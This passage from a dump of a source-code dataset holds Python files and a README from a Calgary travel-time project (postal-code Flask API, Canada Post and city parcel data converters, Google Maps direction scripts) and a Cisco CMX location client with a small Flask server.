_wrong_button_clicked(self):\n self._go_to_next_card()\n\n def _right_button_clicked(self):\n self._update_words_to_learn()\n self._go_to_next_card()\n" }, { "alpha_fraction": 0.611940324306488, "alphanum_fraction": 0.611940324306488, "avg_line_length": 21.33333396911621, "blob_id": "cb79e3303aaa4c06a4e7d4c0f76f2bc7f22a6c91", "content_id": "d2a7751eba64500b9b905e1b0c1b763ffcd681e4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 268, "license_type": "permissive", "max_line_length": 46, "num_lines": 12, "path": "/app.py", "repo_name": "clash402/flash-cards", "src_encoding": "UTF-8", "text": "from ui import UI\nfrom data_manager import DataManager\n\n\nclass App:\n def __init__(self):\n self.ui = UI(DataManager())\n # self.data_manager = DataManager()\n\n def start(self):\n self.ui.mainloop()\n # print(self.data_manager.load_data())\n" } ]
4
pengler/TravelTime
https://github.com/pengler/TravelTime
9e151a842dbb9dd3950e1f503f7e6deda2df1fb6
674909724a55fb87bae5b37ccda9e20b71fba680
0f4ff925a088d7982b8e88f6132fe9183c21e9a7
refs/heads/master
2020-03-30T14:57:59.234437
2019-02-26T03:25:22
2019-02-26T03:25:22
151,342,689
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6510319113731384, "alphanum_fraction": 0.6613508462905884, "avg_line_length": 29.47142791748047, "blob_id": "ac3b52ec6dcacf80ba8765e8cc8f0b502d194915", "content_id": "3971d2556f9564577715036f38d6adccf6effb21", "detected_licenses": [ "Unlicense" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2132, "license_type": "permissive", "max_line_length": 114, "num_lines": 70, "path": "/servers/PostalCode/postal_code.py", "repo_name": "pengler/TravelTime", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\nimport flask\nfrom flask import Flask, jsonify\nimport pickle\nimport sys\nimport pandas as pd\n\n# Create the application.\nAPP = flask.Flask(__name__)\n\n# read the data file\npostal_codes = pickle.load(open(sys.argv[1], 'rb'))\n\[email protected]('/')\ndef index():\n \"\"\" Displays the index page accessible at '/'\n \"\"\"\n return flask.render_template('index.html')\n\n# Return a random postal code\[email protected]('/api/v0.1/code/', methods=['GET'])\ndef random_code():\n random_code = postal_codes.sample().to_json(orient='records')\n response = APP.response_class(\n response=random_code,\n status=200,\n mimetype='application/json'\n )\n return response\n\n# return a specific postal code\[email protected]('/api/v0.1/code/<requestcode>/', methods=['GET'])\ndef get_code(requestcode):\n lookup_code = postal_codes.loc[postal_codes['POSTAL_CODE'] == requestcode].to_json(orient='records')\n\n #random_code = postal_codes.sample().to_json(orient='records')\n response = APP.response_class(\n response=lookup_code,\n status=200,\n mimetype='application/json'\n )\n return response\n\n# return a random Forward Sortation Area\[email protected]('/api/v0.1/fsa/', methods=['GET'])\ndef random_fsa():\n random_fsa = (postal_codes.sample().FORWARD_SORTATION_AREA).to_frame().to_json(orient='records')\n response = APP.response_class(\n response=random_fsa,\n status=200,\n mimetype='application/json'\n )\n return response\n\n# return postal codes in a Forward Sortation Area\[email protected]('/api/v0.1/fsa/<requestfsa>', methods=['GET'])\ndef get_fsa(requestfsa):\n code_list = list(postal_codes.loc[postal_codes['FORWARD_SORTATION_AREA'] == requestfsa ].POSTAL_CODE)\n code_json = pd.DataFrame({'POSTAL_CODES':[code_list]}).to_json(orient ='records') \n #lookup_fsa = postal_codes.loc[postal_codes['FORWARD_SORTATION_AREA'] == requestfsa].to_json(orient='records')\n response = APP.response_class(\n response= code_json,\n status=200,\n mimetype='application/json'\n )\n return response\nif __name__ == '__main__':\n APP.debug=True\n APP.run()" }, { "alpha_fraction": 0.6673234105110168, "alphanum_fraction": 0.6915282607078552, "avg_line_length": 43.97468185424805, "blob_id": "d1de059b17cb7e249ad0a0db36810196323c7c2a", "content_id": "df13d373062a52004f3aefb6fe2bc97b6cf27676", "detected_licenses": [ "Unlicense" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3553, "license_type": "permissive", "max_line_length": 108, "num_lines": 79, "path": "/collectors/convert_canada_add.py", "repo_name": "pengler/TravelTime", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# Simple script that takes in the Canada Post .add file \n# and outputs a pickled data frame. \n#\n# Input/Output files must be specified on the command line\n# convert_canada_add.py input_file output_file\n#\n# File must conform to specification located at: \n# https://www.canadapost.ca/cpo/mc/assets/pdf/business/postalcodetechspecs_en.pdf\n\n#TODOs\n# Clean up the ugly loop in the middle - break out to functions\n# Assumptions about type 1 record \n# Expand the abbreviated street name to full names as per mapping in tech document \n\nimport sys\nimport pandas as pd\nimport pickle\n\nif len (sys.argv) != 3 :\n exit(-1)\n\n# 0 indexed vs 1 indexed documentation\n# We are only interester in Civic addresses - (Record_Type_Code == 1)\ntitles = ['Record_Type_Code','Address_Type_Code','Province_Code','Directory_Area_Name',\n 'Street_Name','Street_Type_Code','Street_Direction_Code','Street_Address_Sequence_Code',\n 'Street_Address_To_Number','Street_Address_Number_Suffix_To_Code','Suite_To_Number',\n 'Filler1','Street_Address_From_Number','Street_Address_Number_Suffix_From_Code',\n 'Suite_From_Number','Municipality_Name','Filler2','Province_Accent_Indicator',\n 'Directory_Area_Name_Accent_Indicator','Municipality_Name_Accent_Indicator',\n 'Street_Name_Accent_Indicator','Filler3','Postal_Code','Delivery_Installation_Postal_Code',\n 'Action_Code']\nto_catagorical = ['Record_Type_Code','Address_Type_Code','Province_Code','Directory_Area_Name',\n 'Street_Name','Street_Type_Code','Street_Direction_Code','Street_Address_Sequence_Code',\n 'Street_Address_Number_Suffix_To_Code', 'Street_Address_Number_Suffix_From_Code',\n 'Municipality_Name', 'Delivery_Installation_Postal_Code','Action_Code']\nto_delete = ['Filler1','Filler2','Province_Accent_Indicator', 'Directory_Area_Name_Accent_Indicator',\n 'Municipality_Name_Accent_Indicator', 'Street_Name_Accent_Indicator','Filler3'] \nto_numeric = ['Street_Address_To_Number','Street_Address_From_Number','Suite_To_Number','Suite_From_Number']\n\ntitles = [t.upper() for t in titles]\nto_catagorical = [c.upper() for c in to_catagorical]\nto_delete = [d.upper() for d in to_delete]\nto_numeric = [w.upper() for w in to_numeric]\n\nsplit_points = [0,1,2,4,34,64,70,72,73,79,80,86,99,105,106,112,142,161,162,163,164,164,167,173,179]\nmy_list = []\nwith open(sys.argv[1],'r') as file:\n for line in file:\n split_list = list(map(lambda x :line[slice(*x)], zip(split_points, split_points[1:]+[None])))\n if split_list[0] == '1': \n for x in range(0,len(split_list)):\n split_list[x] = split_list[x].strip()\n my_list.append(dict(zip(titles,split_list)))\n\npostal_code = pd.DataFrame(my_list)\n# for debugging\n#pd.set_option('display.max_columns', 500)\n#pd.set_option('display.width', 1000)\n#print(addresses['Suite_To_Number'])\n\npostal_code = postal_code.rename(str.upper, axis='columns')\n\n#Clear out columns that won't be used\npostal_code = postal_code.drop(to_delete, axis=1)\n\n#Convert to catagorical\nfor col in to_catagorical: \n postal_code[col] = postal_code[col].astype('category')\n\n#Convert to numeric\nfor num in to_numeric:\n postal_code[num] = pd.to_numeric(postal_code[num], downcast='integer', errors='coerce')\n\n#Create a Forward Sortation Area Catagory\npostal_code['FORWARD_SORTATION_AREA'] = postal_code.POSTAL_CODE.str[:3].astype('category')\n\n#Save the dataframe\npickle.dump( postal_code, open( sys.argv[2], \"wb\" ) )\n" }, { "alpha_fraction": 0.7242954969406128, "alphanum_fraction": 0.7380045652389526, "avg_line_length": 40.0625, "blob_id": "b2abe43e2fabad58602238f8ba2568d26f783449", "content_id": "7672a709e996be8992222bbe3aa5e443f70a34b4", "detected_licenses": [ "Unlicense" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1315, "license_type": "permissive", "max_line_length": 140, "num_lines": 32, "path": "/README.md", "repo_name": "pengler/TravelTime", "src_encoding": "UTF-8", "text": "# TravelTime\n\n\n\n## Helper Data Conversion Scripts\n- __convert_canada_add.py__ - Coverts the .add file from - Canada Post to a Pandas DataFrame\n- __convert_parcel.py__ - Converts the City of Calgary Parcel data to a Pandas DataFrame\n\n## Data Source Locations\n\n### Directions\n1. Directions - Google Maps Direction API\n - [Directions API](https://developers.google.com/maps/documentation/directions/start)\n - Map data ยฉ2018 Google\n\n### Data Sources\n\n1. City of Calgary Community Points Data Set \n - [Community Points](https://data.calgary.ca/Base-Maps/Community-Points/j9ps-fyst)\n - [Licence](https://data.calgary.ca/stories/s/u45n-7awa/)\n\n2. City of Calgary Parcel Address\n - [Parcel Address](https://data.calgary.ca/Base-Maps/Parcel-Address/9zvu-p8uz)\n - [License](https://data.calgary.ca/stories/s/u45n-7awa/)\n\n3. Canada Post - Postal Code Address Data\n - [Canada Post Business Marketing](https://www.canadapost.ca/cpc/en/business/marketing/audience/license-data.page)\n - [Postal Code Address Data](https://www.canadapost.ca/cpc/assets/cpc/uploads/files/marketing/pcad-postal-code-address-data-samples.zip)\n - ยฉ Canada Post Corporation\n\n4. Major Activity Centers\n - [Calgary Municipal Development Plan](http://www.calgary.ca/PDA/pd/Documents/municipal-development-plan/mdp-maps.pdf)" }, { "alpha_fraction": 0.5785459876060486, "alphanum_fraction": 0.6065073609352112, "avg_line_length": 39.163265228271484, "blob_id": "c205c192624720e55fd2fa4b381289bfdc418270", "content_id": "47fa1ad5e2c43dcb60969f6d1714000c6665b56a", "detected_licenses": [ "Unlicense" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1967, "license_type": "permissive", "max_line_length": 91, "num_lines": 49, "path": "/collectors/gmap_dir_example.py", "repo_name": "pengler/TravelTime", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nimport googlemaps\nimport os\nfrom datetime import datetime\nimport pprint\nimport json\ngmaps = googlemaps.Client(key=os.environ['DIRECTIONS_API_KEY'])\n\n# Geocoding an address\n#geocode_result = gmaps.geocode('1600 Amphitheatre Parkway, Mountain View, CA')\n\n# Look up an address with reverse geocoding\n#reverse_geocode_result = gmaps.reverse_geocode((40.714224, -73.961452))\n\n# Request directions via public transit\nnow = datetime.now()\n\n#directions_result = gmaps.directions(\"Sydney Town Hall\",\n# \"Parramatta, NSW\",\n# mode=\"driving\",\n# departure_time=now)\n\ndirections_result = gmaps.directions(\" 800 Macleod Trail SE, Calgary \",\n \"2000 Airport Rd NE, Calgary\",\n mode=\"driving\",\n departure_time=now)\n\nf = open('result_data.json', 'w')\nf.write(json.dumps(directions_result))\nf.close()\n\nprint(directions_result[0]['legs'][0]['distance']['text'])\nprint(directions_result[0]['legs'][0]['duration']['text'])\nprint(len(directions_result[0]['legs'][0]['steps']))\n#print(type(directions_result[0]['legs'][0]['steps']))\nnumsteps = len(directions_result[0]['legs'][0]['steps'])\nfor steps in range(0, numsteps) :\n # meters\n distance = directions_result[0]['legs'][0]['steps'][steps]['distance']['value']\n distance_km = distance/1000\n #seconds\n duration = directions_result[0]['legs'][0]['steps'][steps]['duration']['value']\n duration_hours = duration/3600\n travelmode = directions_result[0]['legs'][0]['steps'][steps]['travel_mode']\n instructions = directions_result[0]['legs'][0]['steps'][steps]['html_instructions']\n print ('step #'+ str(steps) +\n ' distance: '+ str(distance) + \n ' duration: ' + str(duration) + \n ' = ' + str(distance_km/duration_hours) +' kmph ' + travelmode + ' ' +instructions)" }, { "alpha_fraction": 0.6210191249847412, "alphanum_fraction": 0.6305732727050781, "avg_line_length": 38.1875, "blob_id": "4b3c2c65280bdda5c78ec6864d79681edb7dada4", "content_id": "379ed6eff6cb34bf17b8c937b351cc610a593d1a", "detected_licenses": [ "Unlicense" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1884, "license_type": "permissive", "max_line_length": 137, "num_lines": 48, "path": "/collectors/get_latlong_from_postal.py", "repo_name": "pengler/TravelTime", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\n#Example code to search for the location of a postal code\n#and print out the formatted address, lat and long \nimport pickle\nimport sys\nimport pandas as pd\nimport os\nimport googlemaps\nimport json\n\nMAX_CODES=60000\ngmaps = googlemaps.Client(key=os.environ['DIRECTIONS_API_KEY'])\n\n# read the data file\npostal_codes = pickle.load(open(sys.argv[1], 'rb'))\n\ndistinct_codes = postal_codes.loc[:,\"POSTAL_CODE\"].unique()\n\nfor code in distinct_codes[:MAX_CODES]:\n #print (postal_codes[postal_codes['POSTAL_CODE'] == code] )\n\n place_result = gmaps.find_place(input = code,\n input_type=\"textquery\",\n fields=set([\"geometry\",\"formatted_address\"])\n )\n if place_result['status'] != 'OK':\n print (code + \" missing\")\n else: \n #print(json.dumps(place_result, indent=4, sort_keys=True))\n print(code)\n postal_codes.loc[postal_codes['POSTAL_CODE'] == code, 'LATITUDE'] = place_result['candidates'][0]['geometry']['location']['lat']\n postal_codes.loc[postal_codes['POSTAL_CODE'] == code, 'LONGITUDE'] = place_result['candidates'][0]['geometry']['location']['lng']\n postal_codes.loc[postal_codes['POSTAL_CODE'] == code, 'FORMATTED_ADDR'] = place_result['candidates'][0]['formatted_address']\n\n #print (place_result['candidates'][0]['formatted_address'])\n #print (place_result['candidates'][0]['geometry']['location']['lat'])\n #print (place_result['candidates'][0]['geometry']['location']['lng'])\n \n #print (json.dumps(place_result, indent=4, sort_keys=True))\n \n #print (type(distinct_codes))\n #print (distinct_codes)\n\n#Save the extended data to a new pickle file \n#pd.set_option('display.max_columns', None)\n#print (postal_codes.head(30))\npickle.dump( postal_codes, open( sys.argv[2], \"wb\" ) )\n\n\n\n" }, { "alpha_fraction": 0.6200361251831055, "alphanum_fraction": 0.624097466468811, "avg_line_length": 47.19565200805664, "blob_id": "f207cb76a4dcbbe94ea6e24ebb9bd91bf47128d4", "content_id": "12c475127eb58a54b6975bc40bc9067cc783b184", "detected_licenses": [ "Unlicense" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2216, "license_type": "permissive", "max_line_length": 106, "num_lines": 46, "path": "/collectors/convert_parcels.py", "repo_name": "pengler/TravelTime", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\nimport pandas as pd\nimport pickle\nimport sys\n\n# Simple script that takes in the Canada Post .add file \n# and outputs a pickled data frame. \n#\n# Input/Output files must be specified on the command line\n# convert_canada_add.py input_file output_file\n#\n# File must conform to specification located at: \n# https://www.canadapost.ca/cpo/mc/assets/pdf/business/postalcodetechspecs_en.pdf\n\n#TODOs\n\nstreet_name_conv = {'DR':('Drive')}\nstreet_name_conv2 = {'AL':'Alley', 'AV':'Avenue', 'BA':\t'Bay', 'BV':'Boulevard', 'CA':'Cape', \n'CE':'Centre', 'CI':'Circle', 'CL':'Close', 'CM':'Common', 'CO':'Court', 'CR':'Crescent', \n'CV':'Cove', 'DR':'Drive', 'GA':'Gate', 'GD':'Gardens', 'GR':'Green', 'GV':'Grove', \n'HE':'Heath', 'HI':'Highway', 'HL':'Hill', 'HT':'Heights', 'IS':'Island', 'LD':'Landing', \n'LI':'Link', 'LN':'Lane', 'ME':'Mews', 'MR':'Manor', 'MT':'Mount', 'PA':'Park', \n'PH':'Path', 'PL':'Place', 'PR':'Parade', 'PS':'Passage', 'PT':'Point', 'PY':'Parkway', \n'PZ':'Plaza', 'RD':'Road', 'RI':'Rise', 'RO':'Row', 'SQ':'Square', 'ST':'Street', \n'TC':'Terrace', 'TR':'Trail', 'VI':'Villas', 'VW':'View', 'WK':'Walk', 'WY':'Way'}\n\ncol_types={'latitude':object, 'longitude':object}\nif len (sys.argv) != 3 :\n print ('Input/Output files must be specified on the command line')\n print ('# convert_canada_add.py input_file output_file')\n exit(-1)\n\nparcels = pd.read_csv(sys.argv[1], float_precision='high', dtype=col_types)\nparcels = parcels.rename(str.upper, axis='columns')\nparcels.HOUSE_ALPHA = parcels.HOUSE_ALPHA.fillna('') \nparcels['STREET_TYPE_EXTENDED'] = parcels.STREET_TYPE.apply( lambda x: street_name_conv2[x]).str.upper()\nparcels['ADDRESS_EXTENDED'] = parcels.HOUSE_NUMBER.map(str) + parcels.HOUSE_ALPHA + ' ' + \\\n parcels.STREET_NAME + ' ' + parcels.STREET_TYPE_EXTENDED + ' ' + \\\n parcels.STREET_QUAD\nparcels = parcels[['ADDRESS', 'ADDRESS_EXTENDED', 'STREET_NAME', 'STREET_TYPE', 'STREET_TYPE_EXTENDED', \n 'STREET_QUAD', 'HOUSE_NUMBER', 'HOUSE_ALPHA', 'ADDRESS_TYPE', 'LONGITUDE', 'LATITUDE']]\n# For debugging\n#print (parcels.head(20))\n#print (parcels.info())\npickle.dump( parcels, open( sys.argv[2], \"wb\" ) )" }, { "alpha_fraction": 0.5798816680908203, "alphanum_fraction": 0.6098901033401489, "avg_line_length": 40.52631759643555, "blob_id": "fbb31c833d3c84881b52177b263d38e5a5987eff", "content_id": "6af30b35031c7be4d437e48b0192e55f49a7387b", "detected_licenses": [ "Unlicense" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2366, "license_type": "permissive", "max_line_length": 91, "num_lines": 57, "path": "/collectors/gmap_speed_example.py", "repo_name": "pengler/TravelTime", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# Simple example to extract speed from the Google Maps Directions API\n# Would use the speed API but that is a premium service and trying to do this on the cheap\n\n\nimport googlemaps\nimport os\nimport datetime\nimport pprint\nimport json\ngmaps = googlemaps.Client(key=os.environ['DIRECTIONS_API_KEY'])\n\n# Geocoding an address\n#geocode_result = gmaps.geocode('1600 Amphitheatre Parkway, Mountain View, CA')\n\n# Look up an address with reverse geocoding\n#reverse_geocode_result = gmaps.reverse_geocode((40.714224, -73.961452))\n\n# Request directions via public transit\ndepartTime = datetime.datetime(2019, 8, 5, 2, 0)\n\n# Get a sample route\n#directions_result = gmaps.directions(\" 800 Macleod Trail SE, Calgary \",\n# \"2000 Airport Rd NE, Calgary\",\n# mode=\"driving\",\n# traffic_model=\"pessimistic\",\n# departure_time=departTime)\n\n#sample route from burbs to downtown\ndirections_result = gmaps.directions(\"5228 Barron Dr NW, Calgary \",\n \"410 6 Ave SW, Calgary\",\n mode=\"driving\",\n traffic_model=\"pessimistic\",\n departure_time=departTime)\n\nf = open('result_data.json', 'w')\nf.write(json.dumps(directions_result))\nf.close()\n\nprint(directions_result[0]['legs'][0]['distance']['text'])\nprint(directions_result[0]['legs'][0]['duration']['text'])\nprint(len(directions_result[0]['legs'][0]['steps']))\n#print(type(directions_result[0]['legs'][0]['steps']))\nnumsteps = len(directions_result[0]['legs'][0]['steps'])\nfor steps in range(0, numsteps) :\n # meters\n distance = directions_result[0]['legs'][0]['steps'][steps]['distance']['value']\n distance_km = distance/1000\n #seconds\n duration = directions_result[0]['legs'][0]['steps'][steps]['duration']['value']\n duration_hours = duration/3600\n travelmode = directions_result[0]['legs'][0]['steps'][steps]['travel_mode']\n instructions = directions_result[0]['legs'][0]['steps'][steps]['html_instructions']\n print ('step #'+ str(steps) +\n ' distance: '+ str(distance) + \n ' duration: ' + str(duration) + \n ' = ' + str(distance_km/duration_hours) +' kmph ' + travelmode + ' ' +instructions)" }, { "alpha_fraction": 0.7684478163719177, "alphanum_fraction": 0.7735369205474854, "avg_line_length": 23.5, "blob_id": "38abf5b804131d73cbe6f286ea1512375cdaef50", "content_id": "5915b865b3273db6e44042770c06b998ddaf9ee7", "detected_licenses": [ "Unlicense" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 393, "license_type": "permissive", "max_line_length": 122, "num_lines": 16, "path": "/collectors/get_directions.py", "repo_name": "pengler/TravelTime", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\nimport os\nimport urllib.request\nimport json\nimport pprint\n\nDIRECTIONS_API_KEY = os.environ['DIRECTIONS_API_KEY']\n\nREQUEST='https://maps.googleapis.com/maps/api/directions/json?origin=Toronto&destination=Montreal&key='+DIRECTIONS_API_KEY\n\nresource = urllib.request.urlopen(REQUEST)\n\ncontent = resource.read()\njson = json.loads(content.decode('utf-8'))\npprint.pprint(json)\n\n" }, { "alpha_fraction": 0.5809682607650757, "alphanum_fraction": 0.5909850001335144, "avg_line_length": 23.75, "blob_id": "9fc7186ed38c3547aa399c6090adc79284da6435", "content_id": "85f7337258875238ec5ab847891f232f1593135a", "detected_licenses": [ "Unlicense" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 599, "license_type": "permissive", "max_line_length": 76, "num_lines": 24, "path": "/collectors/get_latlong_cmd.py", "repo_name": "pengler/TravelTime", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\n# Get one postal code from the command line\n# Example ./get_latlong_cmd A1B2C3\n\nimport sys\nimport os\nimport googlemaps\nimport json\n\ngmaps = googlemaps.Client(key=os.environ['DIRECTIONS_API_KEY'])\n\ncode = sys.argv[1]\n\nprint(code)\n\nplace_result = gmaps.find_place(input = code,\n input_type=\"textquery\",\n fields=set([\"geometry\",\"formatted_address\"])\n )\nif place_result['status'] != 'OK':\n print (\"whoops\")\nelse: \n print(json.dumps(place_result, indent=4, sort_keys=True))\n \n" } ]
9
pjrcisco/train_example
https://github.com/pjrcisco/train_example
31987a3ee187cf4bc0b6095643dfa554059adcfc
dc50d22930e8c3b612e9301fa5b86f387597d2ce
bb5a5922df4b2af6dd6fa81a29b4f13ac35ceffa
refs/heads/master
2021-01-20T19:30:00.595184
2016-07-06T06:58:30
2016-07-06T06:58:30
62,691,585
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7155555486679077, "alphanum_fraction": 0.7200000286102295, "avg_line_length": 31.285715103149414, "blob_id": "66729c365e118cccbfc59f6b334c5878a290d0b9", "content_id": "35e5cd85d0cf175c5063f16eeafb4d916b972918", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 225, "license_type": "no_license", "max_line_length": 78, "num_lines": 7, "path": "/CMX/API/APS.py", "repo_name": "pjrcisco/train_example", "src_encoding": "UTF-8", "text": "#### Location.py will have methods for interacting with the /location endpoint\nimport CMX.client\n\ndef get(ap_mac):\n params = None\n client = CMX.client.new(\"/api/config/v1/aps/\" + ap_mac, params=params)\n return client.get()" }, { "alpha_fraction": 0.5694863796234131, "alphanum_fraction": 0.5715004801750183, "avg_line_length": 33.24137878417969, "blob_id": "882dcfe8ea3f1b083baa63c4a0f79d6c8c7f7aa0", "content_id": "0c2ecddc4edc945837388ab4effbc04a7a6b3ff6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1986, "license_type": "no_license", "max_line_length": 99, "num_lines": 58, "path": "/CMX/API/Location.py", "repo_name": "pjrcisco/train_example", "src_encoding": "UTF-8", "text": "import asyncio\n\nimport CMX.client\nimport CMX.API.APS as CMXAPS\n\n\ndef get_all():\n params = None\n client = CMX.client.new(\"/api/contextaware/v1/location/clients\", params=params)\n return client.get_it()\n\nclass LocationResource(object):\n def __init__(self, content={}):\n self.content = content\n self.aps = {}\n\n def ap_stats(self):\n self.aps = {}\n if self.content[\"Locations\"]:\n for client in self.content[\"Locations\"][\"entries\"]:\n if client[\"apMacAddress\"] not in self.aps:\n self.aps[client[\"apMacAddress\"]] = {\n \"connectedDeviceCount\": 1,\n \"floorInfo\": client[\"MapInfo\"][\"mapHierarchyString\"].replace('>', '/'),\n \"connectedDevices\": [{\n \"ip\": client[\"ipAddress\"],\n \"ssId\": client[\"ssId\"],\n \"mapCoordinate\": client[\"MapCoordinate\"]\n }]\n }\n else:\n self.aps[ client[\"apMacAddress\"] ][\"connectedDeviceCount\"] += 1\n self.aps[ client[\"apMacAddress\"] ][\"connectedDevices\"].append({\n \"ip\": client[\"ipAddress\"],\n \"ssId\": client[\"ssId\"],\n \"mapCoordinate\": client[\"MapCoordinate\"]\n })\n aps_list = sorted(self.aps.items(), key=lambda x: x[1]['connectedDeviceCount'], reverse=True)\n return {\n \"results\": aps_list\n }\n #apMacAddresses = []\n #for apMacAddress in self.aps:\n # apMacAddresses.append(apMacAddress)\n #loop = asyncio.new_event_loop()\n #asyncio.set_event_loop(loop)\n #loop.run_until_complete(self.get_ap_info(apMacAddresses))\n\n async def get_ap_info(self, apMacAddresses):\n loop = asyncio.get_event_loop()\n futures = []\n res = []\n for macAddress in apMacAddresses:\n futures.append( loop.run_in_executor(None, CMXAPS.get, macAddress) )\n for future in futures:\n res.append(await future)\n for result in res:\n print(result.content)\n" }, { "alpha_fraction": 0.6413743495941162, "alphanum_fraction": 0.6413743495941162, "avg_line_length": 36.783782958984375, "blob_id": "3eadbdb1dc9c5f2c0b449d1743b5f2164a607069", "content_id": "a319f3cc410d80b344755c10add05259cf4b2b6f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1397, "license_type": "no_license", "max_line_length": 110, "num_lines": 37, "path": "/APIBase.py", "repo_name": "pjrcisco/train_example", "src_encoding": "UTF-8", "text": "import requests\nimport json\n\nclass Client(object):\n def __init__(self, host, uri, headers={}, body={}, verify=False, params=None):\n self.__host = host\n self.uri = uri\n self.body = body\n self.headers = headers\n self.verify = verify\n self.params = params\n\n def get(self):\n if self.params == None:\n r = requests.get(self.__host + self.uri, headers=self.headers, verify=self.verify)\n else:\n r = requests.get(self.__host + self.uri, headers=self.headers, verify=self.verify, params=self.params)\n return r\n\n def get_it(self):\n if self.params == None:\n r = requests.get(self.__host + self.uri, headers=self.headers, verify=self.verify)\n else:\n r = requests.get(self.__host + self.uri, headers=self.headers, verify=self.verify, params=self.params)\n return r.json()\n\n # we will use post_it() for sending a post request\n # and returing a json representaion of the corresponding http response's body\n def post_it(self):\n r = requests.post(self.__host + self.uri, headers=self.headers, data=self.body, verify=self.verify)\n return r.json()\n\n # we will use post() for sending a post request\n # and returing the corresponding http response\n def post(self):\n r = requests.post(self.__host + self.uri, headers=self.headers, data=self.body, verify=self.verify)\n return r" }, { "alpha_fraction": 0.692799985408783, "alphanum_fraction": 0.692799985408783, "avg_line_length": 31.947368621826172, "blob_id": "71493c58d4b383379e5f89100ccfc94f82e14d20", "content_id": "8e15c718698f6574ba36f45bf5492eea462b0fc4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 625, "license_type": "no_license", "max_line_length": 75, "num_lines": 19, "path": "/Utility/AsyncRequests.py", "repo_name": "pjrcisco/train_example", "src_encoding": "UTF-8", "text": "# A simple task to do to each response object\ndef handler(response, callback):\n callback(response)\n\n# A list to hold our things to do via async\n#async_list = []\n\n#for u in urls:\n # The \"hooks = {...\" part is where you define what you want to do\n # \n # Note the lack of parentheses following do_something, this is\n # because the response will be used as the first argument automatically\n# action_item = async.get(u, hooks = {'response' : do_something})\n\n # Add the task to our list of things to do via async\n# async_list.append(action_item)\n\n# Do our list of things to do via async\n#async.map(async_list)" }, { "alpha_fraction": 0.5978260636329651, "alphanum_fraction": 0.6183110475540161, "avg_line_length": 27.83132553100586, "blob_id": "be6eee0db58fdc6d3f82158c0a144334d4b5b0ac", "content_id": "daa2e57445061fcca4ad1f69294a3958f3f12a59", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2392, "license_type": "no_license", "max_line_length": 87, "num_lines": 83, "path": "/train_server.py", "repo_name": "pjrcisco/train_example", "src_encoding": "UTF-8", "text": "from flask import Flask, request, jsonify\nimport json\nimport requests\nimport time\n\nimport Routes.Constants as Routes\nimport Errors.Constants as Errors\n\nimport CMX.API.Location as CMXLocation\nimport CMX.API.Map as CMXMap\n\n\n\napp = Flask(__name__)\n\ndef pretty_print(data):\n print (json.dumps(data, indent=4, separators=(',', ': ')))\n\ndef validate_cmx_request(request):\n if request.method != 'POST' or request.headers[\"content-type\"] != \"application/json\":\n body = jsonify(**Errors.INVALID_REQUEST)\n return(body, 400)\n else:\n data = request.get_json()\n if data[\"token\"] != \"2alkdjf9k3rdjfasdfn\":\n body = jsonify(**Errors.INVALID_REQUEST)\n return(body, 400)\n else:\n return True\n\[email protected](Routes.SNAPSHOT_URL, methods=['POST'])\ndef snapshot_url():\n if request.method != 'POST' or request.headers[\"content-type\"] != \"application/json\":\n body = jsonify(**Errors.INVALID_REQUEST)\n return(body, 400)\n\n\[email protected](Routes.CMX_AP_STATS_URL, methods=['POST'])\ndef cmx_ap_stats():\n valid = validate_cmx_request(request)\n if valid != True:\n return valid\n else:\n res = CMXLocation.get_all()\n LocationResource = CMXLocation.LocationResource(res)\n res = LocationResource.ap_stats()\n body = jsonify(**res)\n return(body, 200)\n\[email protected](Routes.CMX_MAP_INFO_URL, methods=['POST'])\ndef cmx_map_info():\n valid = validate_cmx_request(request)\n if valid != True:\n return valid\n else:\n data = request.get_json()\n res = CMXMap.info(data[\"floorInfo\"])\n body = jsonify(**res)\n return(body, 200)\n\[email protected](Routes.CMX_MAP_IMAGE_URL, methods=['POST'])\ndef cmx_map_url():\n valid = validate_cmx_request(request)\n if valid != True:\n return valid\n else:\n data = request.get_json()\n res = CMXMap.info(data[\"floorInfo\"])\n if res != None:\n res = CMXMap.image_source(res[\"Floor\"][\"Image\"][\"imageName\"])\n files = {'upload_file': res.content}\n r = requests.post(\"http://128.107.70.19/images/tmp\", files=files)\n json = r.json()\n url = \"http://128.107.70.19\" + json[\"uri\"]\n body = {\"url\": url}\n body = jsonify(**body)\n return(body, 200)\n else:\n body = jsonify(**Errors.INVALID_REQUEST)\n return(body, 400)\n\nif __name__ == '__main__':\n app.run(debug=True, host='localhost', port=8082)" }, { "alpha_fraction": 0.6516854166984558, "alphanum_fraction": 0.6741573214530945, "avg_line_length": 34.79999923706055, "blob_id": "2990a50bd27be1e77f8c8210d4546b154767c830", "content_id": "eb930daa33f00fca8f17b50bbaad89d446583b0e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 178, "license_type": "no_license", "max_line_length": 48, "num_lines": 5, "path": "/Routes/Constants.py", "repo_name": "pjrcisco/train_example", "src_encoding": "UTF-8", "text": 